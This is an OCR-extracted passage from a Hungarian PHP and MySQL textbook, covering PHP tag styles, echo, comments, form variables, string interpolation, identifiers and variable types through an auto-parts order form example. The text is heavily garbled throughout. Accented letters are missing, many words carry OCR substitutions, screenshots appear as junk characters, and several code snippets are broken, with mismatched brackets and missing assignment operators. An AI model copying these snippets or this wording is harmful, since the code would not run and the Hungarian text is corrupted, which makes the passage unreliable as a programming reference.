A legtbb modern adatbzis SQL-t hasznl. Ha dolgozrunk mr ms relcis adatbzis-kezel rendszerrel, akkor nem fog
gondot okozni, hogy hozzszokjunk a MySQL-hez, amely radsul a tbbi hasonl termknl egyszerbben bellthat.
Hordozhatsg (platformfggetlensg)
A MySQL szmtalan klnbz Unix-rendszeren, illetve Microsoft Windows alatt is hasznlhat.
Forrskd
Akrcsak a PHP, a MySQL forrskdja is beszerezhet s mdosthat. Ez ugyan a felhasznlk tbbsgnek ltalban nem
szempont, a tudat mgis megnyugtat, mert garantlja a folytonossgot, s vszhelyzet esetn van hova nylni.
Tmogats elrhetsge
Nem minden nylt forrskd termkhez tartozik olyan anyavllalat, amely tmogatst, kpzseket, tancsadst s minstse
ket ad, m a MySQL AB (www.mysql.com) mindezr az elnyt knlja a felhasznlk szmra.
Bevezets
Vgezetl
Remljk, a Kedves Olvas legalbb annyira lvezni fogja a knyvet, illetve a PHP s a MySQL elsajttst, rnint amennyire
a szerzk, amikor elkezdtk hasznlni ezeket a termkeket. Hasznlatuk tnyleg rm. Rvidesen az olvas is csatlakozhar
a tbb ezer webfejleszrhz, aki ezekkel a srabil s hatkony eszkzkkel pt dinamikus, napraksz informcikar tartalmaz
weboldalakar.
Kedves Olvas!
Szecernnk megksznni, hogy kiadvnyunkat vlasztotta a PHP s a MySQL megismershez. A knyvben szerepl pldk
hoz tartoz forrskdokat s mellklereker regisztrci urn letltheti a www.perfactkiado.hu/melleklerek oldalrl. A knyv
ben hasznlt, jelenleg ingyenes szofrverek szintn letlthetek weboldalunkrL rdemes azonban az interneten megkeresni
ezen szofrverek frissrseir, jabb verziit s azokar hasznlni.
A kiad, a fordt s a szakmai lektor
I
A PHP hasznlata
PHP gyorstalpal
Tombk hasznlata
Objektumorientlt PHP
Hiba, s kivtelkezels
l
PHP gyorstalpal
A fejezet rviden ttekinti a PHP szintaktikjt s nyelvi alkotelemeit. PHP-ben mr programoz olvasinknak is rdemes
tfutni, mett alkalmas lehet a tudsukban lv fehr foltok eltntetsre. Ha jrtasak vagyunk a C, a Perl Active Server Pages
(ASP) vagy egyb programozsi nyelvben, akkor a fejezetben lertak segtsgvel gyorsan kpbe kerlhetnk a PHP-t illeten is.
A knyvben a vals letbl szrmaz, a szerzk igazi weboldalak ltrehozsa sorn szerzert tapasztalatai alapjn sszell
tott pldkan vggmenve fogjuk elsajttani a PHP hasznlatr. A programozsi szakknyvek igen gyakran nagyon egyszer
pldkan keresztl tantjk meg az alapvet szintaktikt. gy dntttnk, hogy ms utat vlasztunk. Az olvasknak azt kell
megrtenik, hogyan mkdik a nyelv, nem a szintaktikt s a fiiggvnyeket felsorol jabb referenciaknyvre van szksgk,
ami semmivel sem tud tbbet, mint az online kziknyv.
Prbljuk ki a pldkat! Gpeljk be vagy tltsk le a http://www.perfactkiado.hu/mellekletek oldalrl, vltoztassuk meg,
rontsuk el, majd prbljuk megjavtani azokat!
A fejezet elszr is egy online termkrendel rlap pldjn keresztl mutatja be a vltozk, a mveleti jelek (opertorok) s
a kifejezsek PHP-beli mkdst. A vltoztpusokat s az opertorok Icirtkelsi sorrendjt is ttekintjk. Az gyfl meg
rendelsn a vgsszeget s az adtartalmat kiszmtva megtanulj uk, hogyan rhetjk el s kezelhetjk az rlapvltozkat.
Ezt kveten a beviteli adatokat ellenrz PHP kd hasznlatval online rendelsi rlapot fejlesztnk. Megvizsgljuk
a Boole-vltozk fogalmt, majd if s else parancsokat, a?: mveleti jelet s a switch utastst hasznl pldkat nznk
t. Vgl ismtld HTML tblzatokat generl PHP kd rsa kzben megismerkednk a ciklusokkaL
A fejezetben az albbi fbb tmakrkkel foglalkozunk:
PHP begyazsa HTML-be
Dinamikus tartalom hozzadsa
rlapvltozk elrse
Azonosrk
Felhasznl ltal deklarlt vltozk ltrehozsa
Vltoztpusok ttekintse
rtk hozzrendelse vltozkhoz
llandk deklarlsa s hasznlata
Vltozk hatkre
Opertorok s mveletek kirtkdsi sorrendje
Kifejezsek kirtkelse
Fggvnyvltozk hasznlata
Elgazsok if, else s switch utastsokkal
Itercik alkalmazsa while, do s for ciklusokkal
Kezds eltt:
PHP elrse
A fejezetben s a knyv tbbi rszben szerepl pldk hasznlathoz olyan webszerverhez kell hozzfrnnk, amelyre telept
ve van a PHP. Hogy minl tbbet kihozzunk a pldkbl s esettanulmnyokbL futtatnunk kell, s meg kell prblni mdos
tanunk azokat. Ehhez olyan tesztgyra van szksg, ahol ksrletezni tudunk.
Amennyiben szmtgpnkre nincsen PHP teleptve, els feladatunk a telepts lesz, vagy krjk meg a rendszergazdt,
hogy tegye ezt meg neknk! Az erre vonatkoz utastsokat A PHP s a MySQL teleptse cm fejezetben talljuk a Fggelk
ben. A PHP Unix s Windows opercis rendszerekre teleptshez szksges minden sszetevt megtalljuk a http:/ /www.
perfactkiado.hu/mellekletek oldalrl letlthet mappk kztt.
12
2. fejezet
1.1 bra:
db" size="3"
maxlength="3" /></td>
</tr>
<tr>
<td>Olaj</td>
<td align="center"><input type="text" name="olaj_db"
size="3"
maxlength="3" /></td>
</tr>
<tr>
<td>Gyjtgyertya</td>
<td align="center"><input type="text"
name="gyertya_db" size="3"
maxlength="3" /></td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" value="Rendels elkldse" /></td>
</tr>
</table>
</form>
PHP gyorstalpal
13
Lthat, hogy az rlap action tulajdonsgnl az gyfl megrendelst feldolgoz PHP kd neve lett megadva. {Rvide
sen megrjuk ezt a kdot.) Az action tulajdonsg rtke az az URL, amely akkor tltdik be, amikor a felhasznl a"Rende
ls elklds' gombra kattint. A felhasznl ltal az rlapba begpelt adatok a rnethod tulajdonsg rtkrl fUggen ktfle
kppen klddhetnek el ennek az URL-nek. Az egyik a get {az adatokat az URL vghez ruzi hozz), a msik pedig a post
metdus {kln zenetben kldi el azokat).
Figyeljk meg az rlap mezinek a nevt is: abroncs_db, olaj_db s gyertya_ db! A PHP kdban is hasznlni fogjuk
ezeket a neveket. Mivel ksbb is szksg lesz rjuk, fontos, hogy rtelmes, beazonosthat neveket adjunk az rlapmezknek,
hogy a PHP kd megrsakor is emlkezhessnk rjuk. Egyes HTML szerkesztk olyan alaprtelmezett mezneveket gene
rlnak, mint pldul a field23. Egy ilyet szinte lehetetlen megjegyezni. PHP-programozssal tlttt rinkat jelentsen kny
nyebb tehetjk azzal, hogy a mezbe begpelend adatra utal nevet hasznlunk.
rdemes a meznevekhez valamilyen kdolsi szablyt alkalmazni, hogy az oldalon lv minden meznv ugyanolyan for
mtum legyen. gy knnyebb megjegyezni, hogy vajon rviditettnk-e egy szt a mez nevben, vagy alulvonst hasznlunk-e
a szkzk helyett.
Az rlap feldolgozsa
Az rlap feldolgozshoz ltre kell hoznunk a forrn cmke {tag) action tulajdonsgban emltett, rendeles_
feldolgozasa.php
nev kdot. Nyissuk meg szvegszerkesztnket, s hozzuk ltre a fjlt! Ezt kveten gpeljk be az
albbi kdot:
<htrnl>
<head>
<title>Bob autalkatrszek -
Rendelsi eredrnnyek</title>
</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredrnnyek</h2>
</body>
</htrnl>
Lthatjuk, hogy idig tisztn HTML kdot gpeltnk be. Ideje egyszer PHP kddal kiegszteni a szkriptet!
'<p>Rendels
feldolgozva.</p>';
?>
Mentsk el a fjlt, s tltsk be bngszbe azzal, hogy kitltjk Bob rlapjt, majd a "Rendels elkldse" gombra kattin
tunk! Az 1.2 brn lthathoz hasonl eredmnyt kell kapnunk.
r--"'"""""'"
tt.o'".(<'
M.,.,u.!or..r"'
; -:"
Bob autalkatrszek
Rendelsi eredmnyek
...... -
Vizsgljuk meg. hogy miknt lett begyazva az ltalunk rt PHP kd a szoksos kinzet HTML fjlba! Prbljuk megte
kinteni bngsznkben a forrskdot! A kvetkez kdot kell ltnunk:
<htrnl>
<head>
<title>Bob autalkatrszek -
Rendelsi eredrnnyek</title>
\,
'j
14
2. fejezet
</head>
<body>
<hl>Bob autalkatrszek</hl>
<h2>Rendelsi eredmnyek</h2>
<p>Rendels
feldolgozva.</p>
</body>
</html>
A nyers PHP kd itt nem lthat, mert a PHP fordt vgigfutort a szkripten, s a fordts eredmnyre cserlte a PHP
kdot. Ez azt jelenti, hogy PHP-bl brmilyen bngszvel megtelcinthet, tiszta HTML kdot tudunk ellltani. Ms sza
vakkal: a felhasznl bngszjnek nem kell rtenie a PHP-t.
Ez a plda egyszeren szemiitette a szerveroldali programozs fogalmt. A PHP rtelmezse s vgrehajtsa
a webszerveren trtnt, a JavaScripttl vagy ms, a felhasznl szmtgpn lv bngszben rtelmezett s vgreh:Ytort
kliensoldali technolgitl tvol.
A fjlban lev kd ngyfle szveget tartalmaz:
HTML
PHP cmkk (tag)
PHP utastsok
Fehrkz karakterek
A kdhoz megjegyzseket is adhatunk.
A pldban lv sorok tbbsge egyszer HTML.
PHPcmkk
Az elz pldban a PHP kd a <?php karakterekkel kezddtt s a ?>karakterekkel rt vget. Ez a HTML cmkkhez
"
hasonl, hiszen azok mind a"kisebb, mint ( <) szimblummal kezddnek, s a"nagyobb, mint" ( > ) szimblum zrja le ket.
Ezeket a szimblumokat (<?php s ?>) PHP cmkknek (tag) nevezzk. Tudatjk a webszerverrel, hol kezddik s hol r
vget a PHP kd. A cmkk kzrti minden szveg PHP-knt rtelmezhet. A webszerver egyszer HTML-knt kezeli az
ezen cmkken kivli szveget. A PHP zrcmkkkel elhagyhatjuk a PHP-t, s visszatrhetnk a HTML kdhoz.
Klnbz cmkestlusok kzl vlaszthatunk Vizsgljuk meg rszletesebben is ezeket a cmkket!
A PHP cmkknek ngy klnbz stlusa ltezik. A most kvetkez kdrszletek egymssal egyenrtkek:
XMLstt1us
<?php echo
'<p>Rendels
feldolgozva.</p>';
?>
Ez a preferlt, gy knyvnkben is hasznlt cmkestlus. A kiszolgl rendszergazdja nem kapcsolhatja ki, gy biztosak
leherunk benne, hogy minden szerveren elrhet; ez akkor klnsen fontos, arnikor olyan alkalmazst runk, amit tbbszr,
klnbz szerverekre fognak telepteni. Ez a stlus az Extensible Markup Language (XML) dokumentumokkails hasznlha
t. ltalnossgban ez az ajnlott stlus.
Rvid stt1us
<? echo '<p>Rendels
feldolgozva.</p>';
?>
Ez a legegyszerbb, a Standard Generalized Markup Language (SGML) utastsfeldolgoz stlust kvet cmkestlus
nem mellesleg ez az, amelyik a legkevesebb gpelst ignyli. Az ilyen tpus cmkk hasznlarhoz be kell kapcsoini a coniig
fjlban a short_open_tag belltst, vagy a rvid cmkk bekapcsalsval kell a PHP-t lefordtani. A Fggelkben tallunk
bvebb informcit errl a cmkestlusrL Hasznlata mindazonltal nem ajnlott, mert a kd szmos krnyezetben nem fog
mkdni, rnivel a stlus alaprtelmezetten mr nincsen bekapcsolva.
SCRIPT stt1us
<script language='php'> echo
'<p>Rendels
feldolgozva.</p>';
</script>
Ez a leghosszabb cmkestlus, ami ismers lehet mindenkinek, aki hasznlt mr JavaScriptet vagy VBScriptet. Akkor rde
mes ezt vlasztani, ha a tbbi cmkestlus hasznlarakor problmkat jelez a HTML szerkeszt.
PHP gyorstalpal
15
ASP stt1us
<% echo
Ez a cmkestlus megegyezik az Active Server Pages (ASP) vagy ASP.NET keretrendszerben hasznltral. Akkor dolgozhatunk
vele, ha bekapcsoltuk az asp_tags konfigurcis belltst. Csak akkor van rtelme ezt a tag-stlust vlasztani, ha ASP-re vagy
ASP.NET-re kihegyezett szerkesztt hasznlunk. Fontos tudni, hogy alaprtelmezsben nincs bekapcsolva ez a crnkestlus.
PHP utastsok
A nyit s zr cmkk kz helyezett PHP utastsokkal kzlhegk a PHP fordtval, hogy mi a teendje. Az elz plda
egyeden utastst tartalmazott:
echo '<p>Rendels feldolgozva.</p>';
Mint lthattuk, az ech o hasznlara nagyon egyszer eredmnnyel jrt: a neki radott sztringer, azaz karakterlncot kirja
a bngszben (vagyis visszaadja neki, innen az angol echo kifejezs). Az 1.2 brn ltharjuk az eredmnyt, vagyis a bngsz
ablakban megjelen Rendels feldolgozva.
szveget.
Figyeljk meg az ech o utasts vgn lev pontosvesszd PHP-ben pontosvesszkkel vlaszguk el az utastsokat- ha
sonlan ahhoz, ahogy az rott szvegben a mondatokat pontra!. Ha programoztunk mr C-ben, Javban vagy Pascalban, bizo
nyra ismersnek fogjuk tallni a pontosvessz ilyen hasznlatr.
A lefelejtett pontosvessz gyakori, knnyen elkvethet szintaktikai hiba. Szerencsre ugyanilyen egyszeren megrallhat
s javthat is.
Fehrkz karakterek
Az olyan elvlaszt karaktereket, mint a sortrs, a szkz s a tabultor,fehrkz (whitespace) karaktereknek nevezzk. Mint
bizonyra tudjuk, a bngszk figyelmen kvl hagyjk a HTML-ben lev ilyen karaktereket. Ugyangy jr el a PHP motor is.
Vizsgljuk meg az albbi kt HTML kdrszleret:
<hl>Kszntjk a Bob autalkatrszek boltjban!</hl><p>Mit szeretne rendelni ma?</p>
s
<hl> Kszntjk a Bob
autalkatrszek boltjban!</hl>
<p> Mit szeretne
rendelni ma?</p>
Ez a kr tredk egyforma kimenetet produkl, ugyangy jelennek meg a bngszben. Ennek ellenre rdemes fehrkz
karaktereket alkalmazni, mert gyesen hasznlva nvelhetik a HTML kd olvashatsgt. Ugyanez igaz a PHP-re is. Nem
szksges fehrkz karaktereket raknunk a PHP utastsok kz, de sokkal knnyebben olvashat lesz a kd, ha minden utas
tst kln sorba runk. Pldul az
echo 'hell ';
echo
'vilg';
s az
echo
Megjegyzsek
A megjegyzsek pontosan azok, amit a nevk sugall: a kdot olvas emberek szmra sznt megjegyzsek. Hasznlhatjuk ket
a kd cljnak elmagyarzsra, kzlhegk, hogy ki rta, mirt gy rta, ahogy, mikor mdostotta stb. A legegyszerbb PHP
kdok kivtelvel szinte mindenhol tallunk megjegyzseket.
A PHP fordt figyelmen kvl hagr.ja a megjegyzsekben lev szveget. A PHP feldolgoz lnyegben tugorja a megjegy
zseket, a fehrkz karakterekkel egyenrtknek tekinti azokat.
A PHP a C-tpus nyelvek stlusban rt, illetve a shell szkript stlus megjegyzseket tmogatja.
Az albbi, C-stlus, tbbsoros megjegyzssel pldul PHP kd elejn tallkozhatnnk:
/*
Szerz:
Bob Smith
*l
prilis 10.
16
2. fejezet
Mindkt stlusra igaz, hogy a megjegyzs szimblum ( # vagy ll) utn a sor vgig vagy a zr PHP cmkig tart a megjegyzs.
A kvetkez kdsorban a zr cmke eltti szveg, az ez itt megjegyzs a megjegyzs rsze. A zr cmke utni sz
veg, az e z itt nem HTML kdnak tekintend, mivel a zr cmkn kivl esik:
ll
jS
";
F Y');
echo "</p>";
?>
jS
F Y') ."</p>";
?>
A kdban hasznlt, beptett date () PHP fggvny kzli a vevvel rendelse feldolgozsnak dtumt s idejt. Ez az
informci a kd minden egyes lefutsakor ms s ms lesz. Az 1.3 brn a kd egy adott idpontban trtn lefuttatsnak
kimenett lthatjuk.
t.ll
tttaf
-Bob autalkatrszek
?r-:-.11-.:,w
Rendelsi nedmnyek
Fggvnyhvsok
Vizsgljuk meg a date () fggvny meghvst! Ez a fggvnyhvs lcalnos formja. A PHP webes alkalmazsok fejleszt
sekor hasznlhat fggvnyek szles vlasztkval rendelkezik. A fggvnyek tbbsgnek valamilyen adatot (paramtert) kell
tadni, s a fggvnyek maguk is valamilyen rtkkel trnek vissza.
Nzzk meg jra ezt a fggvnyhvst:
date('H:i,
jS
F');
PHP gyorstalpal
17
Lthatjuk, hogy a hvssal egy karakterlnc (szveges adat) addk t a zrjelek kzt a fggvnynek. A zrjelben lv
elemet a fggvny paramternek, ms nven argumentumnak hvjuk. Az ilyen paramtereker a fggvny bemeneti adarknt
A da te ( ) fggvny hasznlata
A date
()
fggvny formz karakterlncot (formar string) vr paramterknt, ami meghatrozza a kivnt kimenet stlust.
A karakterlnc minden betje a dtum s id egy-egy rszt jelkpezi. A H az ra a 24 rs idformtumban (az egyszmjegy
rk eltt bevezet nullval), az i a percek (szksg esern szinrn bevezet nullval), a j a hnap napja (mindg nulla nl
kl), az S a sorszrnnv kpzje ( jelen esetben ez th, hiszen angolul rjuk ki a dtumot), az
A date
()
fggvny ltal tmogatott formromok teljes list:ijt a Dtum s id kezelse m 21. fejezerben talljuk meg.
Az rlapvltozk elrse
A megrendelsi rlap hasznlatnak clja az gyflrendelsek begyjtse. Az gyfelek ltal begpelt adatokat knnyen megsze
rezhetjk PHP-ben, de a tnylegesen alkalmazand mdszer az ltalunk hasznlt PHP verzijrl s php. ini fjlunk egyik
bellrstl fgg.
ll
rvid stlus
$_POST['abroncs_db']
ll
$HTTP_POST_VARS['abroncs
kzepes stlus
db']
ll
hossz stlus
Pldnkban s a knyv egszben a kzepes stlussal (vagyis a $_POST[ 'abroncs_db' ] formval) fogunk hivatkozni
az rlapvlrozkra, m az egyszersg kedvrt a vltozk rvidebb vltozatt is ltrehozzuk. De a kdban, nem pedig auto
matikusan tesszk ezt, mert automatikus ltrehozsuk biztonsgi problmt vetne fel a kdban.
Sajt kdjaink esetben vlaszthatunk ettl eltr megkzeltst. Hogy megalapozott dnrst hozhassunk, tekintsk r
a klnbz mdszereket:
A rvid stlus ( $abroncs_db) knyelmes ugyan, de hasznlata a register _globals konfigurcis bellts bekap
csolst ignyli. Ez a bellirs biztonsgi okokbl alaprtelmezsben ki van kapcsolva. A stlus hasznlarakor knnyen
kvethetnk el a kdot megbzhatariann (nem biztonsgoss) tev hibkat, ppen ezrt ez a stlus napjainkban mr
nem igazn ajnlott. Nem lenne rtelme egy j kdban hasznlni, mert a PHP 6-os verzijbl valsznleg el fog tnni.
Az ajnlott megkzelrs a kzepes stlus ( $_POST [ 'abroncs_db' l). Amennyiben a kzepes stlus alapjn a vltoz
nevek rvid vltozatt hozzuk ltre (ahogy tesszk a knyvben is), nem kell biztonsgi krdsekkel foglalkoznunk, r
adsul vltozink viszonylag knnyen hasznlhatk lesznek.
A hossz stlus ( $HTTP _POST_VARS [ 'abroncs_db' l) a leginkbb szszryr. Meg kell emltennk, hogy jabban
sokat kifogsoljk, gy hossz rvon minden bizonnyal el fog tnni. Korbban ez volt a leginkbb platformfggeden
stlus, de ma mr a teljestmnyt nvel register _l ong_arra ys konfigurcis drektvval kiikrathat. j kdban
- a rvid stlushoz hasonlan - ezt sem rdemes mr hasznlni, kivve, ha biztosak vagyunk abban, hogy szoftvernket
csak rgi szerverekre fogjk telepteni.
Rvid stlus hasznlata esetn a kdban lv vltozk neve megegyezik a HTML rlapon lv rlapmezk nevvel. Nem
kell a vltozkar a kdban deklarlni vagy brmilyen mvelertel lrrehozni. Lnyegben gy addnak r a kdnak, ahogy
a fggvnyek megkapjk paramtereiket. Ha ezt a stlust vlasztjuk, a vltozkat egyszeren, pldul $abroncs_db - knt
hasznlhatj uk. Az rlapon lv abroncs_ db mez ltrehozza az rlapot feldolgoz kd $abroncs_db vltozjt.
A vltozkhoz val ilyen knyelmes hozzfrs vonz lehet, m mielrt egyszeren bekapcsolnnk a regis ter_
globals
belltst, rdemes vgiggondolni, hogy a PHP fejleszti csapata mirt dnttt annak kikapcsolsa mellett.
18
2. fejezer
A vltozkhoz val ilyen kzverlen hozzfrs igen knyelmes lehet, m lehetsger ad arra, hogy a kdok biztonsgt
veszlyezter hibkar kvessnk el. Ha az rlapvltozkar automatikusan ilyen globlis vltozkk alaktjuk, akkor nem
lehet egyrtelmen megklnbztetni az ltalunk ltrehozorr s a kzverlenl felhasznlktl rkez, nem megbzhat vl
tozkat.
Ha nem jrunk el kell gondossggal, s nem rendelnk minden vltozhoz kezdrtket, akkor a felhasznlk sajt
vltozinkkal kevered vltozkat s rtkeket adhatnak t rlapvlrozknr. Amennyiben a vltozk elrsnek knyelmes,
rvid stlusr hasznljuk, gyeljnk arra, hogy minden sajt vltoznak kezdrtket adjunk!
A kzepes stlus esetn az rlapvltozkar a $_POST, $_GET vagy $_REQUEST tmb valamelyikbl keressk vissza.
A $_GET vagy $_POST tmb kzl az egyik trolja az rlapvltozk minden rszlett. Hogy melyik tmbt hasznljuk,
az attl fgg, hogy az rlap elkldse GET vagy POST metdussal trtne-e. A GET vagy POST metdussal elkldtt min
den adat kombincija elrhet a $_REQUEST tmbn keresztl is.
Amennyiben az rlap a POST metdussal lett elkldve, az abroncs_ db mezbe bevitt adat a$_POST [ 'abroncs_
db' J elemben lett eltrolva. Ha az elklds GET metdussal trtnt, az adarot a$_GET['abroncs_db' l elemben fogjuk
tmbelemben is.
Ezek a tmbk aszupergloblis tmbk kz tartoznak. E fogalomhoz a ksbbiekben, amikor a vltozk hatkrt tr
gyaljuk, mg visszatrnk.
Nzznk meg egy pldt, amelyben a vltozk egyszerbben hasznlhat msolatt hozzk ltre!
Egy vltoz rcknek egy msikba msolshoz az rtkad (hozzrendel) mveleti jelet (opertorr) hasznljuk; ez
PHP-ben nem ms, mint az egyenlsgjel (=).A kvetkez utasts annyir tesz, hogy ltrehoz egy j, $abroncs_db nev
vlrozt, s belemsolja a$ POST ['abroncs_db' J
$abroncs_db
tartalmr:
$_POST['abroncs_db');
Helyezzk az albbi kdblokkot a feldolgoz kd elejre! A knyv sszes, rlapbl rkez adatokat kezel kdja hasonl
blokkot tartalmaz az elejn. Mivel ez a kd nem llt el semmilyen kimenetet, mindegy, hogy a <html> s az oldalt indt
ms HTML cmkk al vagy fl helyezzk. A knnyebb megtallhatsg rdekben mi ltalban a kd elejre szaktuk
helyezni az ilyen blokkokat.
<?php
$_POST['abroncs_db');
$ POST['olaj db');
A kd hrom j vltozt
'<p>Rendelse az albbi:
</p>';
Egyelre nem ellenriztk a vltozk tartalmr, hogy valban rtelmes adatokat vittek-e be az rlapmezkbe. Prbljunk
meg szndkosan rossz adarokat bevinni, s figyeljk meg. hogy mi trtnik! A fejezet htralev rsznek elolvassa utn
minden bizonnyal azon lesznk, hogy valamikppen megprbljuk kdunkkal ellenrizni az adatok rvnyessgt.
Biztonsgi szempontbl kockzatos dolog a kzveclenl a felhasznlk ltal bevitt adatokat a bngsznek kimenetknt
tadni. A beviteli adatokat szrnnk kell. Az ilyen adatok szrsvel a negyedik
fejezsek cm -fejezetben kezdnk foglalkozni, a biztonsg krdskrt pedig a Webes alkalmazsok biztonsga cm 16.
fejezerben fogjuk rszletesen megrrgyalni.
Ha most betltjk a fjlt bngsznkbe, a kd kimenere az 1.4 brn lthathoz kell hasonltson. A pontos rtkek ter
mszetesen attl fggnek, hogy mit adtunk meg az rlapon.
PHP gyorstalpal
'lk>!> "tl'o.l'lt!.-.1!-k
R{'!Hioi('r('d>"'ll'folo.
':-1-:,
.,,.,TIIII>r<'>
"
-t-.j
Bob autalkatrszek
Rendelsi eredmnyek
R.r:ao:ir:ltsIO.l9,1<kll
ReoxldtKuiiiM!tt
,...,..._,
..........
6o)c
wty
1.4
bra: A Jelhasznl ltal begpelt rlapvltozk egyszeren elrhetk a rendeles_ feldolgozasa. php kdban.
Karakterlncok sszefzse
A pldakdban az echo utasts megjelenti a felhasznl ltal az egyes rlapmezkbe gpelt rtket, illetve az azt kvet
magyarz szveget. Ha kzelebbrl megvizsgljuk ezeket az echo utastsokat, lthatjuk, hogy a vltoz neve s az azt kve
r szveg kztt egy pont(.) lthat, mint pldul itt:
echo $abroncs_db.'
gumiabroncs<br />';
Ez a pont a karakterlncokat sszefz mveleti jel, ami egymshoz adja a karakterlncokar (szvegdarabokat). Gyakran fogjuk
hasznlni, amikor az echo utastssal kldnk a bngsznek kimenetet, mert gy elkerlherjk tbb echo parancs begpelst.
A megjelenteni kvnt, egyszer vltozkat ketts idzjellel krbefogott karakterlncokba is helyezhetjk.(A tmbk kiss
bonyolultabbak, ezrt a tmbk s a karakterlncok kombinlsval a Karakterlncok kezelse s regulris kifejezsek cm 4.
fejezetben foglalkozunk majd.) Gondoljuk vgig a kvetkez pldt:
echo
"$abroncs_db gumiabroncs<br
/>";
Ez teljesen egyenrtk az elbb elsknt bemutatott utastssal. Mindkt formtum helyes, s csak szemlyes zlsnktl
fgg, hogy melyiket hasznljuk. Ezt a folyamatot, vagyis azt, amikor egy karakterlncban a tartalmra cserljk a vltozt, in
terpolcinak nevezzk.
Fontos tudni, hogy az interpolci csak a ketts idzjellel kzrefogott karakterlncok esern mkdik. Egyszeres idzjelet
hasznl szeringekbe nem helyezherjk ezzel a mdszerrel a vltozk nevt. A kvetkez kdsor
echo
'$abroncs_db
gumiabroncs<br
/>';
Vltozk s literlok
A mintakd echo utastsaiban sszefztt vltozk s karakterlncok klnbz tpus dolgok. A vltozk adatok szim
blumai, a karakterlncok pedig nmaguk is adatok. Amikor ilyen nyers adatdarabot hasznlunk egy programban, litereiinak
hvjuk, hogy megklnbztessk a vltozktL Az $abroncs_db egy vltoz, a felhasznl ltal begpelt adatot jelkpez
szimblum. A , Gumiabroncs<br />' viszont !iterl. Vehetjk a nvrtkt. Vagyis majdnem vehetjk. Emlksznk mg
az elz rsz msodik pldjra A PHP a karakterlncban lv $abroncs_ db vltoznevet a vltoz rtkre cserlte.
Emlkezznk vissza a korbban emltett ktfle karakrerlncra: a ketts idzjelet s az egyszeres idzjelet hasznlral
A PHP a ketts idzjelben lv karakterlncokat megprblja kirtkelni, ami a korbban bemutatott viselkedst eredmnye
zi. Az egyszeres idzjelben lv sztringeket valdi literlknt kezeli.
A karakterlncok meghatrozsnak harmadik mdszere a heredoc szintakszis ( <<< ) hasznlata, amely a Perl
felliasznlknak mr ismers lehet. A heredoc szintakszis a karakterlncot befejez jel hasznlatval teszi lehetv hossz
sztringek egyrtelm meghatrozst. A kvetkez plda egy hromsoros karakterlncot hoz ltre s jelent meg:
echo <<<vege
l. sor
2. sor
3.
sor
vege
19
20
2. fejezet
A vege jel teljesen tetszlegesen vlaszthat. A lnyeg csupn annyi, hogy a szvegben ne jelenjen meg. Heredoc karakter;
lnc lezrshoz helyezzk a lezr jelet a sor elejre!
Az azonostk
Az azonosrk a vltozk nevei. (A fggvnyek s az osztlyok nevi is azonost; a fggvnyekkel s osztlyokkal a Kd tbb
szri felhasznlsa s fggvnyrs cm tdik s az Objektumorientlt PHP cm hatodik fejezetben foglalkozunk.) rvnyes
azonosrk meghatrozshoz az albbi egyszer szablyokkal szksges tisztban lennnk:
Az azonosrk tetszleges hosszsgak lehetnek, berket, szmokat s alulvonst tartalmazhatnak.
Az azonosrk szmjeggyel nem kezddhetnek.
A PHP megklnbzteti az azonosrkban a kis- s nagybetket. Az $abroncs_db s az $Abroncs_db nem egyezik
meg. Gyakori programozi hiba, hogy ugyanannak tekintik ezt a kt azonostt. A fggvnynevek kivtelt kpeznek
e szably all: ezeket kis- s nagybetvel is rhatjuk.
Vltoznak lehet ugyanaz a neve, mint egy fggvnynek. Az ilyen hasznlat azonban zavar s ppen ezrt kerlend.
Ugyanakkor nem lehet egy msik fggvny nevvel megegyez nev fggvnyt ltrehozni.
A HTML rlapbl radott vltozkon tlmenen sajt vltozkat is deklarlhatunk s hasznlhatunk.
A PHP egyik jellemzje, hogy a vltozkat nem szksges hasznlatuk eltt deklarlni. Akkor jnnek ltre, amikor elszr
rtket rendelnk hozzjuk. Tovbbi rszletekrt olvassuk el a kvetkez rszt!
Az rtkad mveleti jellel (
) rendelhetnk a vltozkhoz rtket, ahogy tetrk azt akkor is, amikor egyik vltoz rtkt
egy msikhoz msoltuk. Bob honlapjn szetetnnk kiszmolni a rendelt ttelek szmt s a fizetend teljes sszeget. Kt vl
tozt hozhatunk ltre ezen rtkek trolsra. Elszr is PHP kdunk aljhoz a kvetkez sorokat hozzadva lltsuk be ezen
vltozk kezdrtkt nullra!
$osszmennyiseg
$vegosszeg
0;
0.00;
Mindkt sor ltrehoz egy-egy vltozt, s literlrtket rendel hozzjuk. Vltoz rtkt is rendelhetjk vltozkhoz, ahogy
az albbi plda muratja:
$osszmennyiseg
$vegosszeg
0;
$osszmennyiseg;
Vltoztpusok
A vltoz tpusa a benne trolt adatra ural. A PHP-ban tbbfle adattpus hasznlhat. A klnbz adatokat klnbz
adattpusokban trolhatjuk.
A PHP adattpusai
A PHP a kvetkez alapadattpusokat tmogatja:
Integer- egsz szm
Float (msnven double)- vals (lebegpontos) szm
String- karakterek sorozata, karakterlnc
Boolean- true
Tpuserssg foka
A PHP-t gyengn tpusos, mskppen fogalmazva dinamikusan tpusos nyelvnek nevezzk. A vltozk a legtbb programoz
si nyelvben csak egyfle tpus adatot tartalmazhatnak, s ezt a tpust a vltoz hasznlata eltt deklarlni kell (pldul C-ben).
PHP-ben viszont a vltoznak adott rtk hatrozza meg a vltoz tpust.
PHP gyorstalpal
21
. Amikor pldul az $osszmennyiseg s a $vegosszeg vltozt ltrehozruk, kezdrtkket az albbiak szerint adtuk meg:
Sosszmennyiseg
$vegosszeg
O;
0.00;
Mivel a O-t, azaz egsz szmot rendeltnk az $osszmennyiseg-hez, ez most egy integer tpus vltoz. A $vegosszeg
pedig ugyanilyen logika miatt float tpus.
Kicsit furcsnak tnhet, de akr a kvetkez sorral is folytathatnnk kdunkat:
$vegosszeg
'Hell';
A $vegosszeg vltoz ekkor string tpus lenne. A PHP a vltozban trolt rtk tpusa alapjn vltoztatja a vltoz
tpust.
A tpusok menetkzben, tlthat mdon trtn mdostsnak lehetsge igen hasznos. Ne feledjk, hogy a PHP varzs
tsre rudja, hogy milyen adattpust trolrunk el a vltozkbal Amikor visszakeressk a vltozt, ugyanolyan adattpus adatot
ad vissza.
Tpusknyszerts
Tpusknyszertssei (type casting) elrhetjk, hogy egy vltoz vagy rtk ms tpusknt viselkedjen. Ez a funkci ugyangy
mkdik itt is, mint C-ben. Egyszeren zrjelben az talaktani kvnt vltoz el rjuk az ideiglenes tpust.
Az elz rszben lv kt vlrozt talakrssal is deklarlhartuk volna:
$osszmennyiseg
$vegosszeg
0;
